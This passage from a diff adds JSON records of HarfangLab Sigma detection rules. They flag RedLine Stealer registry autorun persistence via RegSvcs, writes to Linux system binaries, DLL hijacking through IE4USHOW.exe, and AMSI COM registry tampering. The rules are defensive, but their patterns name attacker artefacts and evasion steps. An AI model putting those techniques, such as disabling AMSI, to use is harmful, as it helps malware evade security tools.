+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083147Z",
+  "creation_date": "2026-03-23T11:45:34.083149Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083154Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
+    "https://attack.mitre.org/techniques/T1547/001/",
+    "https://attack.mitre.org/techniques/T1218/009/"
+  ],
+  "name": "t1547_001_redline_regsvcs_autorun_key.yml",
+  "content": "title: Registry Autorun Key associated with RedLine Stealer\nid: b35627f7-4023-4179-ac3f-a23860a35cfc\ndescription: |\n    Detects when an entry is added/modified in one of the autostart extensibility point (ASEP) in paths associated with the RedLine Stealer.\n    Public samples of the RedLineStealer have been observed to set up persistence by adding Registry AutoRunKeys with RegSvcs.exe or other binaries downloaded to disk.\n    The RegSvcs.exe is a legitimate binary that can be used as a LOLBin to load malicious DLLs into system processes.\n    It is recommended to investigate the process tree for suspicious activities.\nreferences:\n    - https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/\n    - https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/\n    - https://attack.mitre.org/techniques/T1547/001/\n    - https://attack.mitre.org/techniques/T1218/009/\ndate: 2023/03/04\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - attack.defense_evasion\n    - attack.t1218.009\n    - classification.Windows.Source.Registry\n    - classification.Windows.Stealer.RedLine\n    - classification.Windows.LOLBin.Regsvcs\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n\n    selection_malbin:\n        - Details|contains: '?:\\\\*\\\\*\\AppData\\Roaming\\telemetry\\svcservice.exe'\n        - ProcessImage: '?:\\Users\\\\*\\Pictures\\\\*\\\\????????????????????????.exe'\n\n    selection_regsvcs:\n        Details|contains:\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegSvcs.exe'\n        TargetObject|contains: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\RegSvcs'\n\n    filter_setup:\n        ProcessImage|endswith:\n            - '\\dotnet-sdk*.exe'\n            - '\\dotnet_full*.exe'\n\n    condition: selection and 1 of selection_* and not 1 of filter_*\nfalsepositives:\n    - '.NET applications may create a RegSvcs.exe full path key in registry, however this is very uncommon behaviour.'\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b35627f7-4023-4179-ac3f-a23860a35cfc",
+  "rule_name": "Registry Autorun Key associated with RedLine Stealer",
+  "rule_description": "Detects when an entry is added/modified in one of the autostart extensibility point (ASEP) in paths associated with the RedLine Stealer.\nPublic samples of the RedLineStealer have been observed to set up persistence by adding Registry AutoRunKeys with RegSvcs.exe or other binaries downloaded to disk.\nThe RegSvcs.exe is a legitimate binary that can be used as a LOLBin to load malicious DLLs into system processes.\nIt is recommended to investigate the process tree for suspicious activities.\n",
+  "rule_creation_date": "2023-03-04",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1218.009",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b39c44fa-4f06-491f-a0bd-53f39cb7219e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.515171Z",
+  "creation_date": "2026-03-23T11:45:34.626614Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626619Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations/",
+    "https://attack.mitre.org/techniques/T1036/005/",
+    "https://attack.mitre.org/techniques/T1554/"
+  ],
+  "name": "t1036_005_suspicious_modification_of_essential_binaries.yml",
+  "content": "title: Suspicious Modification of System Binaries\nid: b39c44fa-4f06-491f-a0bd-53f39cb7219e\ndescription: |\n    Detects a suspicious modification of a system binary, such as ls, ssh or bash.\n    Adversaries may try to modify system binaries to steal credentials, setup persistence or provide a remotely accessible backdoor.\n    It is recommended to ensure that the process writing to those binaries is a legitimate installer and that the new file isn't malicious.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations/\n    - https://attack.mitre.org/techniques/T1036/005/\n    - https://attack.mitre.org/techniques/T1554/\ndate: 2024/06/19\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - attack.persistence\n    - attack.t1554\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n\n        # TODO: Improve this condition when regex are fully available\n        Path:\n            - '/bin/ls'\n            - '/sbin/ls'\n            - '/usr/bin/ls'\n            - '/usr/sbin/ls'\n            - '/bin/cat'\n            - '/sbin/cat'\n            - '/usr/bin/cat'\n            - '/usr/sbin/cat'\n            - '/bin/sh'\n            - '/sbin/sh'\n            - '/usr/bin/sh'\n            - '/usr/sbin/sh'\n            - '/bin/bash'\n            - '/sbin/bash'\n            - '/usr/bin/bash'\n            - '/usr/sbin/bash'\n            - '/bin/dash'\n            - '/sbin/dash'\n            - '/usr/bin/dash'\n            - '/usr/sbin/dash'\n            - '/bin/sudo'\n            - '/sbin/sudo'\n            - '/usr/bin/sudo'\n            - '/usr/sbin/sudo'\n            - '/bin/su'\n            - '/sbin/su'\n            - '/usr/bin/su'\n            - '/usr/sbin/su'\n            - '/bin/cron'\n            - '/sbin/cron'\n            - '/usr/bin/cron'\n            - '/usr/sbin/cron'\n            - '/bin/ssh'\n            - '/sbin/ssh'\n            - '/usr/bin/ssh'\n            - '/usr/sbin/ssh'\n            - '/bin/sshd'\n            - '/sbin/sshd'\n            - '/usr/bin/sshd'\n            - '/usr/sbin/sshd'\n            - '/bin/telnetd'\n            - '/sbin/telnetd'\n            - '/usr/bin/telnetd'\n            - '/usr/sbin/telnetd'\n            - '/bin/busybox'\n            - '/sbin/busybox'\n            - '/usr/bin/busybox'\n            - '/usr/sbin/busybox'\n            - '/bin/nologin'\n            - '/sbin/nologin'\n            - '/usr/bin/nologin'\n            - '/usr/sbin/nologin'\n            - '/bin/init'\n            - '/sbin/init'\n            - '/usr/bin/init'\n            - '/usr/sbin/init'\n            - '/bin/systemd-*'\n            - '/sbin/systemd-*'\n            - '/usr/bin/systemd-*'\n            - '/usr/sbin/systemd-*'\n            - '/usr/lib/systemd/systemd-*'\n            - '/usr/lib/systemd/systemd'\n\n    selection_rename:\n        Kind: 'rename'\n        # TODO: Improve this condition when regex are fully available\n        TargetPath:\n            - '/bin/ls'\n            - '/sbin/ls'\n            - '/usr/bin/ls'\n            - '/usr/sbin/ls'\n            - '/bin/cat'\n            - '/sbin/cat'\n            - '/usr/bin/cat'\n            - '/usr/sbin/cat'\n            - '/bin/sh'\n            - '/sbin/sh'\n            - '/usr/bin/sh'\n            - '/usr/sbin/sh'\n            - '/bin/bash'\n            - '/sbin/bash'\n            - '/usr/bin/bash'\n            - '/usr/sbin/bash'\n            - '/bin/dash'\n            - '/sbin/dash'\n            - '/usr/bin/dash'\n            - '/usr/sbin/dash'\n            - '/bin/sudo'\n            - '/sbin/sudo'\n            - '/usr/bin/sudo'\n            - '/usr/sbin/sudo'\n            - '/bin/su'\n            - '/sbin/su'\n            - '/usr/bin/su'\n            - '/usr/sbin/su'\n            - '/bin/cron'\n            - '/sbin/cron'\n            - '/usr/bin/cron'\n            - '/usr/sbin/cron'\n            - '/bin/ssh'\n            - '/sbin/ssh'\n            - '/usr/bin/ssh'\n            - '/usr/sbin/ssh'\n            - '/bin/sshd'\n            - '/sbin/sshd'\n            - '/usr/bin/sshd'\n            - '/usr/sbin/sshd'\n            - '/bin/telnetd'\n            - '/sbin/telnetd'\n            - '/usr/bin/telnetd'\n            - '/usr/sbin/telnetd'\n            - '/bin/busybox'\n            - '/sbin/busybox'\n            - '/usr/bin/busybox'\n            - '/usr/sbin/busybox'\n            - '/bin/nologin'\n            - '/sbin/nologin'\n            - '/usr/bin/nologin'\n            - '/usr/sbin/nologin'\n            - '/bin/init'\n            - '/sbin/init'\n            - '/usr/bin/init'\n            - '/usr/sbin/init'\n            - '/bin/systemd-*'\n            - '/sbin/systemd-*'\n            - '/usr/bin/systemd-*'\n            - '/usr/sbin/systemd-*'\n            - '/usr/lib/systemd/systemd-*'\n            - '/usr/lib/systemd/systemd'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/bin/dpkg dpkg'\n        - ProcessParentCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/bin/dpkg dpkg'\n        - ProcessGrandparentCommandLine|contains:\n            - '/usr/bin/dpkg-'\n            - '/bin/dpkg dpkg'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessImage:\n            - '/usr/bin/tdnf'\n            - '/usr/bin/dnf5'\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf-automatic '\n            - '/usr/bin/python* /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf '\n            - '/usr/bin/python* /usr/bin/dnf '\n            - 'dnf upgrade'\n            - 'dnf update'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n    exclusion_packagekitd:\n        ProcessImage: '/usr/libexec/packagekitd'\n    exclusion_flatpak:\n        ProcessImage: '/usr/libexec/flatpak-system-helper'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_hurukai:\n        ProcessImage: '/opt/hurukai-agent/bin/hurukai'\n\n    exclusion_systemd:\n        ProcessImage: '/usr/lib/systemd/systemd'\n        ProcessCommandLine|startswith: '/sbin/init'\n\n    exclusion_usrmerge:\n        - ProcessCommandLine: '/usr/bin/perl /usr/lib/usrmerge/convert-usrmerge'\n        - ProcessParentCommandLine: '/usr/bin/perl /usr/lib/usrmerge/convert-usrmerge'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/local/bin/dockerd'\n            - '/snap/docker/*/bin/dockerd'\n\n    exclusion_initramfs:\n        - ProcessParentCommandLine|contains:\n            - '/sbin/mkinitramfs'\n            - '/usr/sbin/mkinitramfs'\n        - ProcessGrandparentCommandLine|contains:\n            - '/sbin/mkinitramfs'\n            - '/usr/sbin/mkinitramfs'\n\n    exclusion_containerd:\n        - ProcessImage:\n            - '/usr/bin/containerd'\n            - '/snap/microk8s/*/bin/containerd'\n        - ProcessAncestors|contains: '|/usr/bin/runc|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_prelink:\n        ProcessImage: '/usr/sbin/prelink'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-*-static'\n        ProcessParentImage: '/usr/bin/qemu-*-static'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_microdnf:\n        ProcessImage: '/usr/bin/microdnf'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_container:\n        ProcessImage: '/usr/bin/buildah'\n\n    exclusion_shim:\n        ProcessParentCommandLine|startswith: '/usr/bin/containerd-shim-runc-v2 -namespace'\n\n    exclusion_buildah:\n        ProcessCommandLine|startswith: 'storage-untar / /'\n\n    exclusion_pamac:\n        ProcessImage: '/usr/bin/pamac-daemon'\n\n    exclusion_timeshift:\n        ProcessImage: '/usr/bin/rsync'\n        ProcessAncestors|contains: '|/usr/bin/timeshift|'\n\n    exclusion_pum_worker:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? -Estt /usr/local/psa/admin/sbin/pum_worker '\n            - '/usr/libexec/platform-python -Estt /usr/local/psa/admin/sbin/pum_worker '\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b39c44fa-4f06-491f-a0bd-53f39cb7219e",
+  "rule_name": "Suspicious Modification of System Binaries",
+  "rule_description": "Detects a suspicious modification of a system binary, such as ls, ssh or bash.\nAdversaries may try to modify system binaries to steal credentials, setup persistence or provide a remotely accessible backdoor.\nIt is recommended to ensure that the process writing to those binaries is a legitimate installer and that the new file isn't malicious.\n",
+  "rule_creation_date": "2024-06-19",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005",
+    "attack.t1554"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3afbd61-7d79-49a8-bc4e-716776c05d21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601668Z",
+  "creation_date": "2026-03-23T11:45:34.601672Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601679Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ie4ushowi.yml",
+  "content": "title: DLL Hijacking via IE4USHOW.exe\nid: b3afbd61-7d79-49a8-bc4e-716776c05d21\ndescription: |\n    Detects potential Windows DLL Hijacking via IE4USHOW.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'IE4USHOWIE.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3afbd61-7d79-49a8-bc4e-716776c05d21",
+  "rule_name": "DLL Hijacking via IE4USHOW.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via IE4USHOW.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3baaf0d-46b7-451f-a695-6acea23a6bca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080181Z",
+  "creation_date": "2026-03-23T11:45:34.080183Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080187Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.sonicwall.com/en-us/2023/03/asyncrat-variant-includes-cryptostealer-capabilites/",
+    "https://twitter.com/M_haggis/status/1679561130438713344",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1562_001_com_hijacking_amsi_registry.yml",
+  "content": "title: AMSI Registry COM Object Modified\nid: b3baaf0d-46b7-451f-a695-6acea23a6bca\ndescription: |\n    Detects the modification of the registry value related to the Microsoft Defender Component Object Model (COM) object for AMSI.\n    An adversary with administrative rights can disable the Antimalware Scan Interface (AMSI) by overriding the Microsoft Defender COM object and make it point to a DLL that does not exist.\n    Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.\n    It is recommended to ensure that process has legitimate reasons to perform this action.\nreferences:\n    - https://blog.sonicwall.com/en-us/2023/03/asyncrat-variant-includes-cryptostealer-capabilites/\n    - https://twitter.com/M_haggis/status/1679561130438713344\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2024/02/05\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1562.006\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.015\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject|endswith: '\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32\\(Default)'\n\n    exclusion_legitimate:\n        Details:\n            - '%windir%\\system32\\amsi.dll'\n            - '?:\\windows\\system32\\amsi.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3baaf0d-46b7-451f-a695-6acea23a6bca",
+  "rule_name": "AMSI Registry COM Object Modified",
+  "rule_description": "Detects the modification of the registry value related to the Microsoft Defender Component Object Model (COM) object for AMSI.\nAn adversary with administrative rights can disable the Antimalware Scan Interface (AMSI) by overriding the Microsoft Defender COM object and make it point to a DLL that does not exist.\nAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.\nIt is recommended to ensure that process has legitimate reasons to perform this action.\n",
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.015",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3c805a2-724f-46bf-9027-9913a4dcea34",
+  "test_maturity_current_count": 0,
